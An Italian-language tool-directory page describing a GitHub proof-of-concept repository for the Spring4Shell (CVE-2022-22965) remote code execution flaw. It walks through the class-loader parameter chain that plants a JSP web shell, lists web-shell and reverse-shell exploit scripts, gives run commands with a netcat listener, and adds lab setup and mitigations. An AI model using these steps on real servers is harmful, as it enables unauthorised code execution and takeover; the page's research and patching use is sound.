Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
PoC-CVE-2022-22965-Spring4Shell — Descrizione | Kitploit
Strumenti/GitHubGitHub/march0n/poc-cve-2022-22965-spring4shell
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubmarch0n/poc-cve-2022-22965-spring4shell

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PoC-CVE-2022-22965-Spring4Shell

Descrizione

Vedi Repository
2 mesi faNon ancora revisionato

PoC — CVE-2022-22965 (Spring4Shell)

Disclaimer: Questo repository è destinato esclusivamente a scopi educativi e di ricerca. Tutti gli script di exploit devono essere utilizzati esclusivamente su sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta al test. L'autore non è responsabile per eventuali usi impropri o danni causati da questo materiale.

Studio e proof-of-concept per CVE-2022-22965, una vulnerabilità critica di Remote Code Execution (RCE) in Spring Framework, divulgata pubblicamente nell'aprile 2022.


Panoramica della vulnerabilità

Spring4Shell interessa le applicazioni Spring MVC e Spring WebFlux quando tutte le seguenti condizioni sono soddisfatte:

CondizioneValore
Versione JDK9 o successiva
Server applicativoApache Tomcat
PackagingWAR (non JAR eseguibile)
Spring Framework< 5.3.18 o < 5.2.20

Come funziona

Il meccanismo di data binding di Spring consente di mappare i parametri delle richieste HTTP alle proprietà degli oggetti Java utilizzando la notazione a punti (ad es., user.name=foo). La vulnerabilità nasce dal fatto che questo attraversamento non è adeguatamente limitato: un attaccante può raggiungere il ClassLoader della JVM attraverso la gerarchia delle classi dell'oggetto modello:

root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.<property>

Questo percorso raggiunge l'AccessLogValve di Tomcat, la cui configurazione di logging può essere manipolata a runtime. Modificando proprietà quali pattern, directory, prefix e suffix, l'attaccante reindirizza il log di accesso di Tomcat per scrivere un file con estensione .jsp contenente codice JSP arbitrario — piantando di fatto una web shell sul server.

Flusso dell'attacco

root@kitploit:~
1. POST /vulnerable
   class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
   class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
   class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
   class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
   class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload

3. GET /shell.jsp?cmd=id  →  RCE

Struttura del repository

root@kitploit:~
.
├── exploits/
│   ├── exploit1.py   # POST-based web shell with password protection
│   ├── exploit2.py   # POST-based web shell with reset capability
│   ├── exploit3.py   # GET-based variant (simplified)
│   ├── exploit4.py   # Reverse TCP shell (GET-based)
│   └── exploit4b.py  # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
    ├── Dockerfile    # Uses pre-built tomcat:9.0.60 image
    ├── Dockerfile2   # Builds from openjdk:11 + downloads Tomcat
    ├── pom.xml       # Maven project — Spring MVC 5.3.17 (vulnerable)
    └── src/          # Vulnerable Spring MVC application source

Varianti di exploit

Esempio di utilizzo

root@kitploit:~
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable

# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444

Preparazione del Lab

Prerequisiti

  • Java 11+
  • Maven (sudo apt install maven o sudo dnf install maven)
  • Docker (opzionale, consigliato)

Compilazione

root@kitploit:~
cd springmvc5-helloworld-example
mvn clean package

Esecuzione con Docker

root@kitploit:~
# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell

# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell

L'applicazione sarà quindi disponibile all'indirizzo http://localhost:8082/vulnerable.


Mitigazione

  • Aggiorna Spring Framework alla versione 5.3.18+ o 5.2.20+
  • Aggiorna Spring Boot alla versione 2.6.6+ o 2.5.12+
  • Se l'aggiornamento non è immediatamente possibile:
    • Esegui il downgrade a JDK 8
    • Utilizza WebDataBinder.setDisallowedFields() per bloccare il binding di classLoader
    • Implementa una regola WAF che blocchi i parametri contenenti class., Class., module. o classLoader

Crediti

Ricerca originale e codice exploit di @march0n. Questo repository è uno studio personale della vulnerabilità a scopo didattico, con documentazione e analisi aggiuntive.


Riferimenti

  • CVE-2010-1622 — exploit originale del ClassLoader di Spring (2010)
  • Divulgazione iniziale in lingua cinese (Weixin)
  • Microsoft Security Blog — indicazioni su SpringShell
  • LunaSec — analisi delle vulnerabilità RCE di Spring
  • Palo Alto Unit 42 — approfondimento su CVE-2022-22965
Scarica lo strumento
ScriptMetodoPayloadNote
exploit1.pyPOSTWeb shell (protetta da password)Richiesta singola
exploit2.pyPOSTWeb shellRipristina la configurazione del log prima/dopo l'exploit
exploit3.pyGETWeb shell (senza password)Parametri tramite query string
exploit4.pyGETReverse TCP shellPayload JSP basato su msfvenom
exploit4b.pyPOSTReverse TCP shellStesso payload di exploit4, variante POST